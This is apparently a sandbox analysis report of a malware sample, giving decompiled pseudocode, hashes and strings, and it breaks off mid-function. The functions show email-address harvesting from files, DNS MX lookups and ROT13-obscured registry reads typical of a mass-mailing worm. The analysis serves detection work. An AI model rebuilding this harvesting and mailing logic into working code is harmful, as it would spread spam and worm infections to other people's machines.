Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 766857F5903
String ID: L@$admin@bigtits.com
API String ID: 3161882108-2810593236
Opcode ID: 99046f5afce886c15dd2c272ce4c1a23cc7a039bac66575eec0d85a53d62dca4
Instruction ID: f8f521ecf4af99865028921a37a865861f0bf00d847523e115314e8123b3051d
Opcode Fuzzy Hash: 99046f5afce886c15dd2c272ce4c1a23cc7a039bac66575eec0d85a53d62dca4
Instruction Fuzzy Hash: 8611CE769053198BCB51EF64D9845CEBBF4EF44314F40857BE885A3240EB349698CF96

Uniqueness

Uniqueness Score: -1.00%

Function 00405316 Relevance: 2.5, Strings: 2, Instructions: 26
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405316(void* __eax, void* __ebx) {
				void* _v8;
				char _v76;
				intOrPtr _v88;
				char* _t9;
				char* _t11;
				char* _t13;
				void* _t14;
				intOrPtr* _t15;
				intOrPtr* _t16;
				char** _t17;

				_t15 = _t14 - 0x54;
				_v88 = 0x40;
				_t11 =  &_v76;
				 *_t15 = _t11; // executed
				L004086D0(); // executed
				_t16 = _t15 - 8;
				 *_t16 = _t11; // executed
				L004086D8(); // executed
				_t17 = _t16 - 4;
				_t13 = "192.168.1.2";
				if(__eax != 0) {
					_t9 =  *( *( *(__eax + 0xc)));
					 *_t17 = _t9;
					L004086E0();
					_t13 = _t9;
				}
				return _t13;
			}

0x0040531a
0x0040531d
0x00405325
0x00405328
0x0040532b
0x00405330
0x00405333
0x00405336
0x0040533b
0x0040533e
0x00405345
0x0040534c
0x0040534e
0x00405351
0x00405359
0x00405359
0x00405361

Strings

@, xrefs: 0040531D
192.168.1.2, xrefs: 0040533E

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID: 192.168.1.2$@
API String ID: 0-3711723240
Opcode ID: 53e6652a29276b7c7a8d69185b240c4b24bd6d8bd1c62700764e9b3521c3e1f1
Instruction ID: 9ec42d045907c7db8908afb764d072bf234eb471670fc80d8c874dbff0fee724
Opcode Fuzzy Hash: 53e6652a29276b7c7a8d69185b240c4b24bd6d8bd1c62700764e9b3521c3e1f1
Instruction Fuzzy Hash: 7EE030B0A04B048FC700FF39C6C650ABBF4AF44348F06487DE986A7355EA38E9088B57

Uniqueness

Uniqueness Score: -1.00%

Function 00404CE6 Relevance: 2.5, Strings: 2, Instructions: 25COMMON

Download Yara Rule

Strings

time, xrefs: 00404D06
Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00404CF0

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 7618
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba$time
API String ID: 2181118218-3807643265
Opcode ID: d43548aed496e81145f1ad52eed979b3b23b10ec9092d52848eccf63b852d913
Instruction ID: 9c9b2ce2110ad8eee344a977aa8019399ceae4dd5dbfd899abbfe71e4cb80875
Opcode Fuzzy Hash: d43548aed496e81145f1ad52eed979b3b23b10ec9092d52848eccf63b852d913
Instruction Fuzzy Hash: 14E0D8B620830447D7207F30A9C161C7BA4AB80354F408C3DE688A73C2D63E494C9716

Uniqueness

Uniqueness Score: -1.00%

Function 00405362 Relevance: 2.5, Strings: 2, Instructions: 25COMMON

Download Yara Rule

Strings

vqhfre, xrefs: 00405387
Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba, xrefs: 00405371

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 7618
String ID: Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Rkcybere\ihyaiby32\Irefvba$vqhfre
API String ID: 2181118218-2184397236
Opcode ID: 905d0bbd46e3ab364b0385916c94fcb6b03107518e0c5aa1ebb66646b3e67f16
Instruction ID: c0a09ebd9a2a66396676ad42a78ddc38c0d53f38d148121dcc603a70120301ff
Opcode Fuzzy Hash: 905d0bbd46e3ab364b0385916c94fcb6b03107518e0c5aa1ebb66646b3e67f16
Instruction Fuzzy Hash: EFF0A4B4809318AFCB10EF55C58115DBBF4EF49714F82C4AEE98877341D734AA899F86

Uniqueness

Uniqueness Score: -1.00%

Function 00401149 Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401149() {
				char _v12;
				char _v16;
				char* _v32;
				intOrPtr _v36;
				char* _v40;
				void* _v44;
				intOrPtr _t19;
				intOrPtr* _t22;
				intOrPtr* _t24;
				void* _t35;
				void* _t36;
				intOrPtr _t37;
				intOrPtr _t38;
				void* _t41;
				signed int _t43;

				_v44 = E00401000; // executed
				L0040C2A0(); // executed
				_t43 = _t41 - 0x20;
				E0040B000(E0040AF00(_t35, _t36));
				_v12 = 0;
				_v32 =  &_v12;
				_t19 =  *0x40d4e4; // 0xffffffff
				 *_t43 = 0x414004;
				_v36 = _t19;
				_v40 =  &_v16;
				_v44 = 0x414000;
				L0040C1B0();
				_t22 =  *0x418230;
				if(_t22 == 0) {
					L7:
					L0040C1A0();
					_t37 =  *0x40d4e8; // 0x4000
					 *_t22 = _t37;
					E0040AED0(_t22);
					_t43 = _t43 & 0xfffffff0; // executed
					_t24 = E0040AEB0(); // executed
					L0040C190();
					_v40 =  *_t24;
					_v44 =  *0x414000;
					 *_t43 =  *0x414004; // executed
					_t22 = E00404076(_t37); // executed
					L0040C188();
					 *_t43 = _t22;
					L0040C2A8();
					goto L8;
				} else {
					 *0x40d4e8 = _t22;
					_t38 =  *0x4194a4;
					if(_t38 != 0) {
						L8:
						_v44 = _t22;
						_t22 =  *((intOrPtr*)( *0x4194a4 + 0x10));
						 *_t43 = _t22;
						L0040C1A8();
						_t38 =  *0x4194a4;
					}
					if(_t38 != 0xffffffe0) {
						_v44 =  *0x418230;
						_t22 =  *((intOrPtr*)( *0x4194a4 + 0x30));
						 *_t43 = _t22;
						L0040C1A8();
						_t38 =  *0x4194a4;
					}
					if(_t38 != 0xffffffc0) {
						_v44 =  *0x418230;
						_t22 =  *((intOrPtr*)( *0x4194a4 + 0x50));
						 *_t43 = _t22;
						L0040C1A8();
					}
					goto L7;
				}
			}

0x00401157
0x0040115e
0x00401163
0x0040116b
0x00401170
0x0040117a
0x0040117e
0x00401183
0x0040118a
0x00401191
0x0040119a
0x0040119e
0x004011a3
0x004011aa
0x00401210
0x00401210
0x00401215
0x0040121b
0x0040121d
0x00401222
0x00401225
0x0040122a
0x00401231
0x0040123a
0x00401243
0x00401246
0x0040124d
0x00401252
0x00401255
0x00000000
0x004011ac
0x004011ac
0x004011b1
0x004011b9
0x00401260
0x00401260
0x00401269
0x0040126c
0x0040126f
0x00401274
0x00401274
0x004011c2
0x004011c9
0x004011d2
0x004011d5
0x004011d8
0x004011dd
0x004011dd
0x004011e6
0x004011ed
0x004011f6
0x004011f9
0x004011fc
0x004011fc
0x00000000
0x004011e6

APIs

76683A10.KERNEL32 ref: 00401255

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 76683
String ID:
API String ID: 2294968377-0
Opcode ID: 17c38317f9a66652df7258aecbb9e80ccef0f3f3888fbe713f9de6f1fcdca26b
Instruction ID: fdd625d713225136926791f8e063cfc049a139930cefd6fb9cd0f0f3deb6f4ef
Opcode Fuzzy Hash: 17c38317f9a66652df7258aecbb9e80ccef0f3f3888fbe713f9de6f1fcdca26b
Instruction Fuzzy Hash: 8F310DB4908701DFC700EF75D98164E77E5BF88354F008A7EE545AB3A2D738A8418F5A

Uniqueness

Uniqueness Score: -1.00%

Function 00401150 Relevance: 1.6, APIs: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401150() {
				char _v12;
				char _v16;
				char* _v32;
				intOrPtr _v36;
				char* _v40;
				void* _v44;
				intOrPtr _t19;
				intOrPtr* _t22;
				intOrPtr* _t24;
				void* _t34;
				void* _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				void* _t38;
				signed int _t39;

				_v44 = E00401000; // executed
				L0040C2A0(); // executed
				_t39 = _t38 - 4;
				E0040B000(E0040AF00(_t34, _t35));
				_v12 = 0;
				_v32 =  &_v12;
				_t19 =  *0x40d4e4; // 0xffffffff
				 *_t39 = 0x414004;
				_v36 = _t19;
				_v40 =  &_v16;
				_v44 = 0x414000;
				L0040C1B0();
				_t22 =  *0x418230;
				if(_t22 == 0) {
					L6:
					L0040C1A0();
					_t36 =  *0x40d4e8; // 0x4000
					 *_t22 = _t36;
					E0040AED0(_t22);
					_t39 = _t39 & 0xfffffff0; // executed
					_t24 = E0040AEB0(); // executed
					L0040C190();
					_v40 =  *_t24;
					_v44 =  *0x414000;
					 *_t39 =  *0x414004; // executed
					_t22 = E00404076(_t36); // executed
					L0040C188();
					 *_t39 = _t22;
					L0040C2A8();
					L7:
					_v44 = _t22;
					_t22 =  *((intOrPtr*)( *0x4194a4 + 0x10));
					 *_t39 = _t22;
					L0040C1A8();
					_t37 =  *0x4194a4;
					L2:
					if(_t37 != 0xffffffe0) {
						_v44 =  *0x418230;
						_t22 =  *((intOrPtr*)( *0x4194a4 + 0x30));
						 *_t39 = _t22;
						L0040C1A8();
						_t37 =  *0x4194a4;
					}
					if(_t37 != 0xffffffc0) {
						_v44 =  *0x418230;
						_t22 =  *((intOrPtr*)( *0x4194a4 + 0x50));
						 *_t39 = _t22;
						L0040C1A8();
					}
					goto L6;
				}
				 *0x40d4e8 = _t22;
				_t37 =  *0x4194a4;
				if(_t37 != 0) {
					goto L7;
				}
				goto L2;
			}

APIs

76683A10.KERNEL32 ref: 00401255

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 76683
String ID:
API String ID: 2294968377-0
Opcode ID: 5dea925255efc0a92b5cd23e23833b04243e3d0205a30240cc68abcc00f57cf9
Instruction ID: fe54e7aefeed6918a5ef1b916f0e819b51a912cea38922c35654569b06e5a2dd
Opcode Fuzzy Hash: 5dea925255efc0a92b5cd23e23833b04243e3d0205a30240cc68abcc00f57cf9
Instruction Fuzzy Hash: 8631EDB4908701DFC700EF75D98154E77E5BF88354F008A7EE545AB3A2D73898418B5A

Uniqueness

Uniqueness Score: -1.00%

Function 004060AA Relevance: 1.6, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E004060AA(short* _a4, intOrPtr* _a8) {
				void* _v16;
				void* _v20;
				signed int _v24;
				intOrPtr _v40;
				char* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v76;
				intOrPtr _v80;
				intOrPtr _v92;
				char _v96;
				intOrPtr _v100;
				void* __ebx;
				void* __edi;
				void* __esi;
				short* _t28;
				signed int _t34;
				intOrPtr* _t36;
				intOrPtr _t37;
				intOrPtr* _t39;
				short* _t40;
				void* _t41;
				intOrPtr* _t42;
				intOrPtr* _t43;

				_t42 = _t41 - 0x2c;
				_v20 = 0;
				_v40 = 0;
				_v44 =  &_v20;
				_v48 = 0;
				_v52 = 0;
				_v56 = 0xf;
				_t28 = _a4;
				 *_t42 = _t28; // executed
				L00408728(); // executed
				_t43 = _t42 - 0x18;
				_t37 = 0;
				if(_t28 != 0) {
					L8:
					return _t37;
				}
				_t36 = _v20;
				if(_t36 == 0) {
					L7:
					 *_t43 = _v20;
					L0040C430();
					_t37 = 1;
					goto L8;
				} else {
					goto L2;
				}
				do {
					L2:
					if( *((short*)(_t36 + 8)) == 0xf) {
						L0040C2E0();
						_v76 = 0x102;
						_v80 = 8;
						 *_t43 = _t28;
						L0040C2C0();
						_t43 = _t43 - 0xc;
						_t40 = _t28;
						if(_t28 != 0) {
							 *_t40 =  *(_t36 + 0x1c) & 0x0000ffff;
							_v92 =  *((intOrPtr*)(_t36 + 0x18));
							_t16 = _t40 + 2; // 0x2
							_v96 = _t16;
							L0040C320();
							_t43 = _t43 - 8;
							_t39 = _a8;
							_t34 =  *((intOrPtr*)(_t39 + 4));
							_v24 = _t34;
							_v96 = 0xffffffff;
							_v100 = _t34 + 1;
							 *_t43 = _t39;
							_t28 = E004013D8(_t36, _t39, _t40);
							if(_t28 != 0) {
								_t28 =  *_t39;
								 *((intOrPtr*)(_t28 + _v24 * 4)) = _t40;
							}
						}
					}
					_t36 =  *_t36;
				} while (_t36 != 0);
				goto L7;
			}

0x004060b0
0x004060b3
0x004060ba
0x004060c5
0x004060c9
0x004060d1
0x004060d9
0x004060e1
0x004060e4
0x004060e7
0x004060ec
0x004060ef
0x004060f6
0x0040618f
0x00406198
0x00406198
0x004060fc
0x00406101
0x0040617c
0x0040617f
0x00406182
0x0040618a
0x00000000
0x00000000
0x00000000
0x00000000
0x00406103
0x00406103
0x00406108
0x0040610a
0x0040610f
0x00406117
0x0040611f
0x00406122
0x00406127
0x0040612a
0x0040612e
0x00406134
0x0040613a
0x0040613e
0x00406141
0x00406144
0x00406149
0x0040614c
0x0040614f
0x00406152
0x00406155
0x0040615e
0x00406162
0x00406165
0x0040616c
0x0040616e
0x00406173
0x00406173
0x0040616c
0x0040612e
0x00406176
0x00406178
0x00000000

APIs

6D0AC1E0.DNSAPI(?,?,?,?,?,?,?,?,?,?,00000000,0040D0C4,?,?,00405FAC), ref: 004060E7

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41445079c88630f5c07cd035fae2c4713e7c75e9ca6354b2a37a2a767edcf40e
Instruction ID: 11d18a1c71fde03939184ec7a539e433b17fdc1711bb96236e21141529c11046
Opcode Fuzzy Hash: 41445079c88630f5c07cd035fae2c4713e7c75e9ca6354b2a37a2a767edcf40e
Instruction Fuzzy Hash: 5F2148B09043019BDB00EF65C58476BBBF4BF44354F10893EE894AB382E778D958CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00404812 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404812(void* __ebx, intOrPtr _a4, intOrPtr _a8) {
				void* _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v24;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				void* _v60;
				char* _v64;
				char* _v68;
				intOrPtr _v72;
				intOrPtr _v76;
				char* _t27;
				char _t32;
				intOrPtr _t34;
				char* _t36;
				intOrPtr _t38;
				intOrPtr _t41;
				void* _t42;
				intOrPtr* _t44;

				_t38 = _a4;
				_v16 = 4;
				_v24 = 4;
				_t27 =  &_v12;
				_v44 = _t27;
				_v48 = 0x20019;
				_v52 = 0;
				_v56 = _t38;
				_v60 = 0x80000002; // executed
				L0040C480(); // executed
				_t44 = _t42 - 0x20;
				if(_t27 == 0) {
					L2:
					_v60 =  &_v16;
					_v64 =  &_v20;
					_v68 =  &_v24;
					_v72 = 0;
					_v76 = _a8;
					_t32 = _v12;
					 *_t44 = _t32; // executed
					L0040C488(); // executed
					 *((intOrPtr*)(_t44 - 0x18)) = _v12; // executed
					L0040C490(); // executed
					_t34 = 0x42;
					if(_t32 == 0) {
						_t34 = _v20;
					}
					_t41 = _t34;
				} else {
					_t36 =  &_v12;
					_v64 = _t36;
					_v68 = 0x20019;
					_v72 = 0;
					_v76 = _t38;
					 *_t44 = 0x80000001;
					L0040C480();
					_t44 = _t44 - 0x14;
					_t41 = 1;
					if(_t36 == 0) {
						goto L2;
					}
				}
				return _t41;
			}

0x00404819
0x0040481c
0x00404823
0x0040482a
0x0040482d
0x00404831
0x00404839
0x00404841
0x00404845
0x0040484c
0x00404851
0x00404856
0x0040488b
0x0040488e
0x00404895
0x0040489c
0x004048a0
0x004048ab
0x004048af
0x004048b2
0x004048b5
0x004048c2
0x004048c5
0x004048cd
0x004048d4
0x004048d6
0x004048d6
0x004048d9
0x00404858
0x00404858
0x0040485b
0x0040485f
0x00404867
0x0040486f
0x00404873
0x0040487a
0x0040487f
0x00404882
0x00404889
0x00000000
0x00000000
0x00404889
0x004048e1

APIs

7618ED80.ADVAPI32 ref: 004048C5

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 7618
String ID:
API String ID: 2181118218-0
Opcode ID: ad4d9fd33ac52e88bc97e916be29138adab017c360a3b7e03bc0d3226ec02f29
Instruction ID: 49bf87151660670d78cfdeefb83c057e4f3b6f757f6147e457b2a6993822bbc7
Opcode Fuzzy Hash: ad4d9fd33ac52e88bc97e916be29138adab017c360a3b7e03bc0d3226ec02f29
Instruction Fuzzy Hash: 0D21C8F49043099FDB00EF69C18575EBBF4BB48348F40892EE998A7341E378DA488B52

Uniqueness

Uniqueness Score: -1.00%

Function 00404748 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404748(void* __ebx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, char _a16) {
				void* _v8;
				signed int _v12;
				char _v16;
				char _v20;
				intOrPtr _v28;
				intOrPtr _v32;
				signed int _v36;
				intOrPtr _v40;
				void* _v44;
				intOrPtr _v48;
				char* _v52;
				signed int _v56;
				intOrPtr _v60;
				signed int* _t30;
				signed int _t35;
				signed int _t36;
				signed int* _t39;
				intOrPtr _t41;
				signed int _t44;
				void* _t45;
				intOrPtr* _t47;

				_t41 = _a4;
				_v16 = _a16;
				_v20 = 1;
				_t30 =  &_v12;
				_v28 = _t30;
				_v32 = 0x20019;
				_v36 = 0;
				_v40 = _t41;
				_v44 = 0x80000002; // executed
				L0040C480(); // executed
				_t47 = _t45 - 0x10;
				if(_t30 == 0) {
					L2:
					_v44 =  &_v16;
					_v48 = _a12;
					_v52 =  &_v20;
					_v56 = 0;
					_v60 = _a8;
					_t35 = _v12;
					 *_t47 = _t35; // executed
					L0040C488(); // executed
					_t36 = _v12;
					 *(_t47 - 0x18) = _t36; // executed
					L0040C490(); // executed
					_t44 = (_t36 & 0xffffff00 | _t35 == 0x00000000) & 0x000000ff;
				} else {
					_t39 =  &_v12;
					_v48 = _t39;
					_v52 = 0x20019;
					_v56 = 0;
					_v60 = _t41;
					 *_t47 = 0x80000001;
					L0040C480();
					_t47 = _t47 - 0x14;
					_t44 = 0;
					if(_t39 == 0) {
						goto L2;
					}
				}
				return _t44;
			}

0x0040474f
0x00404755
0x00404758
0x0040475f
0x00404762
0x00404766
0x0040476e
0x00404776
0x0040477a
0x00404781
0x00404786
0x0040478b
0x004047c0
0x004047c3
0x004047ca
0x004047d1
0x004047d5
0x004047e0
0x004047e4
0x004047e7
0x004047ea
0x004047f4
0x004047f7
0x004047fa
0x00404807
0x0040478d
0x0040478d
0x00404790
0x00404794
0x0040479c
0x004047a4
0x004047a8
0x004047af
0x004047b4
0x004047b7
0x004047be
0x00000000
0x00000000
0x004047be
0x00404810

APIs

7618ED80.ADVAPI32 ref: 004047FA

Memory Dump Source

Source File: 00000002.00000002.571792310.0000000000401000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.571778298.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571808977.0000000000419000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571820323.000000000041C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571833479.000000000041D000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571844902.000000000041E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.571856391.000000000041F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_smnss.jbxd

Similarity

API ID: 7618
String ID:
API String ID: 2181118218-0
Opcode ID: 958a2e4ef0ba8bedcf82df9d746db21d8d07d340abbef20f900d82c39de117dd
Instruction ID: 6ed68635854e72cbad61cdb7226dc2d583aa3803ebbc72776a4c5814d6946410
Opcode Fuzzy Hash: 958a2e4ef0ba8bedcf82df9d746db21d8d07d340abbef20f900d82c39de117dd
Instruction Fuzzy Hash: 962179B49043099FD700EF69D58579EBBF4BB48354F40896EE89897341E378D648CB52

Uniqueness

Uniqueness Score: -1.00%

Function 0040307E Relevance: 1.4, Strings: 1, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E0040307E(signed int __edx, signed char _a4) {
				void* _v16;
				char _v236;
				char _v237;
				char _v240;
				signed char _v244;
				signed char _v248;
				char* _v268;
				signed char _v272;
				signed char _v276;
				signed char _v280;
				signed char _v284;
				void* __ebx;
				signed char _t62;
				signed char _t63;
				signed char _t64;
				signed char _t67;
				signed int _t70;
				signed int _t71;
				signed char _t75;
				signed char _t76;
				signed char _t77;
				signed char _t78;
				signed char _t79;
				signed char _t80;
				signed int _t81;
				signed int _t84;
				signed char _t87;
				signed char _t88;
				signed char _t89;
				signed char* _t90;
				intOrPtr* _t91;

				_t81 = __edx;
				_v244 = 0;
				_t87 = 0;
				_v280 = 0x40efaf;
				_t62 = _a4;
				_v284 = _t62; // executed
				L0040C1E8(); // executed
				_t88 = _t62;
				_t63 = 0;
				if(_t88 == 0) {
					L50:
					return _t63;
				}
				while(1) {
					_v284 = _t88; // executed
					L0040C230(); // executed
					if(_t63 == 0xffffffff) {
						break;
					}
					_v244 = _v244 + 1;
				}
				_v284 = _t88; // executed
				L0040C1C0(); // executed
				_v280 = 0x40efaf;
				_t64 = _a4;
				_v284 = _t64; // executed
				L0040C1E8(); // executed
				_t89 = _t64;
				_t63 = 0;
				if(_t89 == 0) {
					goto L50;
				}
				while(1) {
					L47:
					_v284 = _t89; // executed
					L0040C230(); // executed
					_t76 = _t63;
					if(_t63 == 0xffffffff || _t87 > _v244) {
						break;
					}
					if(_t76 != 0x40) {
						continue;
					}
					_v284 = _t89; // executed
					L0040C228();
					_t8 = _t63 - 1; // -1
					_t87 = _t8;
					if(_t87 > 0) {
						_t9 = _t63 - 2; // -2
						_t87 = _t9;
					}
					_v276 = 0;
					_v280 = _t87;
					_v284 = _t89; // executed
					L0040C220(); // executed
					_v284 = _t89; // executed
					L0040C230(); // executed
					_t77 = _t63;
					while(1) {
						_t14 = _t77 - 0x61; // -97
						_t17 = _t77 - 0x41; // -65
						_t67 = _t17 & 0xffffff00 | _t17 - 0x00000019 < 0x00000000;
						_t81 = _t81 & 0xffffff00 | _t14 - 0x00000019 < 0x00000000 | _t67;
						if(_t81 != 0) {
							goto L11;
						}
						L15:
						_t20 = _t77 - 0x30; // -48
						_t67 = _t20;
						if(_t67 <= 9) {
							goto L11;
						}
						_t67 = _t67 & 0xffffff00 | _t77 == 0x0000002d;
						_t81 = _t81 & 0xffffff00 | _t77 == 0x0000005f | _t67;
						if(_t81 == 0 && _t77 != 0x2e) {
							L18:
							_v248 = 0;
							while(1) {
								_v284 = _t89;
								L0040C230();
								_t78 = _t67;
								if(_t67 == 0xffffffff) {
									break;
								}
								_t80 = 0;
								_t26 = _t78 - 0x61; // -97
								if(_t26 <= 0x19) {
									_t80 = 1;
								}
								_t27 = _t78 - 0x41; // -65
								if(_t27 <= 0x19) {
									_t80 = 1;
								}
								_t28 = _t78 - 0x30; // -48
								_t70 = _t28;
								if(_t70 <= 9) {
									_t80 = 1;
								}
								_t71 = _t70 & 0xffffff00 | _t78 == 0x0000002d;
								_t84 = _t81 & 0xffffff00 | _t78 == 0x0000005f | _t71;
								if(_t84 != 0) {
									_t80 = 1;
								}
								_t81 = _t84 & 0xffffff00 | _t78 == 0x00000040 | _t71 & 0xffffff00 | _t78 == 0x0000002e;
								if(_t81 != 0) {
									_t80 = 1;
								}
								if(_t80 == 0) {
									break;
								} else {
									_t75 = _v248;
									 *(_t75 +  &_v236) = _t78;
									_t67 = _t75 + 1;
									_v248 = _t67;
									continue;
								}
							}
							_t63 = _v248;
							 *((char*)(_t63 +  &_v236)) = 0;
							if( *((char*)(_t63 +  &_v237)) == 0x40) {
								goto L47;
							}
							_t79 =  &_v236;
							_v284 = _t79;
							L0040C310();
							_t90 = _t90 - 4;
							if(_t63 <= 9) {
								goto L47;
							}
							_t63 = _v248;
							if( *((char*)(_t63 +  &_v237)) != 0x2e && _v236 != 0x40 && _v236 != 0x2e && _v236 != 0x2d) {
								 *_t90 = _t79;
								_t63 = E00403008();
								if(_t63 == 0) {
									goto L47;
								}
								 *_t90 = _t79;
